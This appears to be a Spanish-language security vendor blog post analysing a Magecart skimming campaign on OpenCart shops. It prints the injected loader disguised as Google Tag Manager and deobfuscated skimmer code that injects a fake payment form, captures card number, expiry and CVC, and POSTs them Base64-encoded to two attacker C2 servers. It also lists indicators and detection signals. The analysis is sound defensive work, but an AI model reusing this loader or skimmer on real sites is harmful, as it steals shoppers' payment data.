Skip to main content
Blog
Blog

Magecart atacando sitios de comercio electrónico del este asiático en OpenCart

Hemos detectado un ataque de tipo Magecart dirigido a la plataforma CMS OpenCart

Jul 15, 2025 6 min read
banner-of-this-article-on-black-and-blue-background

Hemos detectado un ataque de tipo Magecart dirigido a la plataforma CMS OpenCart. La campaña parece estar enfocada en sitios de comercio electrónico del este asiático. Magecart se ha convertido en un término usado de forma sinónima para los ataques del lado del cliente, y su nombre proviene de Magento + Cart.

Cómo ocurrió el ataque de inyección de scripts

El script malicioso se inyecta directamente en la página de inicio del sitio web. Está oculto entre integraciones legítimas de terceros como Facebook Pixel, Meta Pixel y Google Tag Manager. Comportamiento típico de un ataque del lado del cliente.

Aquí está el fragmento que contenía el malware inyectado:

<!-- End Facebook Pixel Code -->
<!-- Meta Pixel Code -->
<!-- Google Tag Manager -->
<script type="text/javascript">
(function(i,s,o,g,r,a,m){
    i['Google'+'Analytics'+'Objects']=r;
    a=s.createElement(g), m=s.getElementsByTagName(g)[0];
    if(i.location['href'].indexOf(i.atob(r)) > 0){
        a.async=1;
        a.src=''+i.atob(o);
        m.parentNode['insertBefore'](a,m);
        r=1;
    }
})(window,document,'Ly90YWdzY2FydC5zaG9wL2Nkbi9hbmFseXRpY3MubWluLmpz','script','L'+'w'+'='+'=', '//www.google-analytics[.]com/analytics.js','ga');
</script>
<!-- End Google Tag Manager -->

A primera vista parece una integración normal de Google Analytics o Tag Manager, pero no lo es.

El payload decodificado en Base64 apunta a:

/tagscart[.]shop/cdn/analytics.min.js

Una vez que este script se carga:

  1. Crea un elemento <script>.
  2. Establece su src apuntando al archivo analytics.min.js malicioso.
  3. Se inyecta en la página antes de cualquier etiqueta de script existente.

Comportamiento del script malicioso

El script de /tagscart[.]shop/cdn/analytics.min.js estaba fuertemente ofuscado.

Algunas técnicas utilizadas:

  • Referencias de caracteres hexadecimales (indexación con 0x...)
  • División de arrays y recomposición dinámica (.split('|'))
  • Uso peligroso de eval() para ejecutar código decodificado dinámicamente
  • Ejecución silenciosa mediante try { onLoad(); } catch {}

Tras la desofuscación

Analizando las partes más relevantes:

// #################### C2 INFRASTRUCTURE ####################
var sAdsUrl1 = '//ultracart[.]shop/g.php';  // Servidor C2 malicioso
var sAdsUrl2 = '//hxjet.pics/g.php';       // Servidor C2 de respaldo

// #################### FAKE FORM INJECTION ####################
// Inyección en el flujo estándar de pago
function onTimerStd() {
    // ... (omitido por brevedad)
    var sHtml = '<div class="cctdQKvkR-form-container" style="..." id="ccAq1TBAY_form_main"> <!-- Fake payment form HTML --> </div>';
    vTargetBlocks.insertAdjacentHTML('beforeend', sHtml);  // Inyectar formulario falso

    // Configuración de máscara de entrada
    (new InputMask).Initialize(document.getElementsByName("payment[cc_number]"), {
        mask: "9999 9999 9999 99999999",  // Formato de tarjeta de crédito
        placeHolder: "Valid Card Number"
    });
    // ... similar para los campos de fecha y CVC
}

// #################### DATA CAPTURE EVENTS ####################
var vPaymentElements = ['payment[cc_number]', 'payment[date]', 'payment[cc_cid]'];
// Adjuntar listeners a los campos de pago
for (var i = 0; i < vPaymentElements.length; ++i) {
    var hEl = document.getElementsByName(vPaymentElements[i])[0];
    if (hEl) {
        hEl.addEventListener('blur', mainListener);  // Capturar cuando el foco abandona el campo
        hEl.addEventListener('keydown', mainListener);  // Capturar pulsaciones de teclas
        hEl.addEventListener('paste', mainListener);  // Capturar datos pegados
    }
}

// #################### DATA VALIDATION ####################
function mainListener(e) {
    var iCodeLength = 3;
    try {
        if (document.getElementsByName('payment[cc_number]')[0].value[0] == '3')
            iCodeLength = 4  // Ajustar validación para tarjetas Amex
    } catch (e) {}

    // Verificaciones de validación antes de la exfiltración
    if (document.getElementsByName('payment[cc_cid]')[0].value.length < iCodeLength)
        return;  // Requerir longitud mínima de CVC
    if (document.getElementsByName('payment[date]')[0].value.length < 7)
        return;  // Requerir fecha de vencimiento completa

    // ... (lógica de exfiltración de datos)
}
// #################### DATA EXFILTRATION ####################
function sendData(sUrl, sData) {
    var xmlhttp = getXmlHttp();
    xmlhttp.open('POST', sUrl, true);
    xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xmlhttp.send('d=' + encodeURIComponent(sData) + '&m=' + iMethod.toString() + '&p=' + iPid.toString());
}

function mainListener(e) {
    // ... (verificaciones de validación)
    var sDump = JSON.stringify({
        "u": window.location.href,  // Capturar URL actual
        "f": vData  // Datos del formulario robados
    });
    sDump = Base64.encode(sDump);  // Codificar datos
    iMethod = 1;
    sendData(sAdsUrl1, sDump);  // Enviar al primer C2
    sendData(sAdsUrl2, sDump);  // Enviar al C2 de respaldo
}

// #################### FORM HIDING ####################
function onTimerStd() {
    // ... (tras la inyección)
    var hDiv = document.getElementById('ccAq1TBAY_form_main');
    if (hDiv != null) {
        hDiv.style.display = 'none'  // Ocultar formulario de pago original
    }
    // ... (mostrar formulario falso)
}

Funcionalidad maliciosa

  • Inyección de formulario de pago falso: Crea dinámicamente un formulario de tarjeta de crédito falso (HTML + CSS).
  • El formulario falso se inyecta en las páginas de pago.
  • Lógica de recopilación de datos:
    • Monitoriza la entrada del usuario en campos como: payment[cc_number]
    • payment[date]
    • payment[cc_cid]
  • Escucha los eventos blur, paste y keydown.
  • Validación antes de la exfiltración:
    • Verifica que los campos de la tarjeta parezcan válidos (p. ej., longitud del CVC, formato de fecha de vencimiento).
  • Exfiltración mediante solicitud POST:
    • Tras la validación, codifica en Base64 y captura los datos (incluida la URL de la página actual) y los envía a://ultracart[.]shop/g.php
    • //hxjet.pics/g.php
  • Ocultación y sustitución del formulario:
    • El formulario de pago original se oculta.
    • Se muestra el formulario falso en su lugar, diseñado para parecer legítimo.
  • Máscara de entrada:
    • Implementa un InputMask personalizado para que los campos tengan una apariencia "profesional" (p. ej., formato automático de números de tarjeta de crédito).
  • Comportamiento inesperado

    A diferencia de algunos ataques Magecart tradicionales, este script de terceros no copia datos del portapapeles. Los usuarios se ven obligados a introducir manualmente los datos de la tarjeta. Además, una vez introducidos los datos de la tarjeta, la información se envía inmediatamente al servidor del atacante. A continuación, oculta el formulario de pago con tarjeta y solicita al usuario que introduzca los datos de la transacción bancaria para capturar información sensible adicional.

    Página de pago falsa

    Página de pago falsa tras introducir los datos de la tarjeta, mostrando la página de datos bancarios

    Solicitud POST capturada hacia el C2

    Datos en Base64 enviados

    Payload decodificado

    Cómo monitorizamos el uso

    Para rastrear el ataque, averiguar cómo se gestionan o utilizan los datos, o dónde se venden, solemos usar canary tokens para su seguimiento. Esto es lo que encontramos:

    Curiosamente, en la mayoría de los casos vemos el uso de la tarjeta robada en los días siguientes. Sin embargo, en este caso tardó varios meses.

    En este ejemplo, detectamos dos usos. El primero el 18 de junio mediante una transacción de pago por teléfono originada desde Estados Unidos.

    Se realizó una segunda transacción de 47,80 € a un proveedor desconocido.

    El seguimiento de estos ataques nos permite comprender mejor a las personas que hay detrás de ellos y cómo evolucionan las campañas de ataque.

    Nuestra plataforma de detección identificó este ataque mediante una combinación de:

    • Comportamiento anómalo de scripts: Scripts que se hacen pasar por legítimos (Google Analytics / GTM) pero que cargan contenido desde dominios inusuales.
    • Patrones de JavaScript ofuscado: Uso de eval dinámico, decodificación en base64 y manipulación sospechosa de arrays.
    • Detección de sustitución de formularios: Vigilancia de formularios falsos inyectados en flujos de pago conocidos.

    Monitorización de dominios de amenazas: tagscart[.]shop, ultracart[.]shop y hxjet[.]pics ya estaban marcados en nuestros feeds de inteligencia de amenazas.

    Notas finales

    En cside, monitorizamos continuamente scripts de terceros y activos web para detectar y prevenir ataques del lado del cliente como este.

    Nuestra plataforma de detección está diseñada para:

    • Identificar inyecciones de scripts no autorizadas
    • Analizar comportamientos sospechosos en tiempo real
    • Bloquear ataques antes de que puedan robarse datos sensibles de los clientes

    Al proteger proactivamente los sitios web frente a amenazas del lado del cliente, ayudamos a las empresas a salvaguardar la confianza de sus clientes y a ir un paso por delante de los ataques de seguridad web en constante evolución.

    Himanshu Anand
    Software Engineer

    I'm a software engineer and security analyst.

    Monitoriza y Asegura tus Scripts de Terceros

    Gain full visibility and control over every script delivered to your users to enhance site security and performance.

    Comienza gratis, o prueba Business con una prueba de 14 días.

    Interfaz del panel de cside mostrando monitorización de scripts y análisis de seguridad
    Related Articles
    Reservar una demo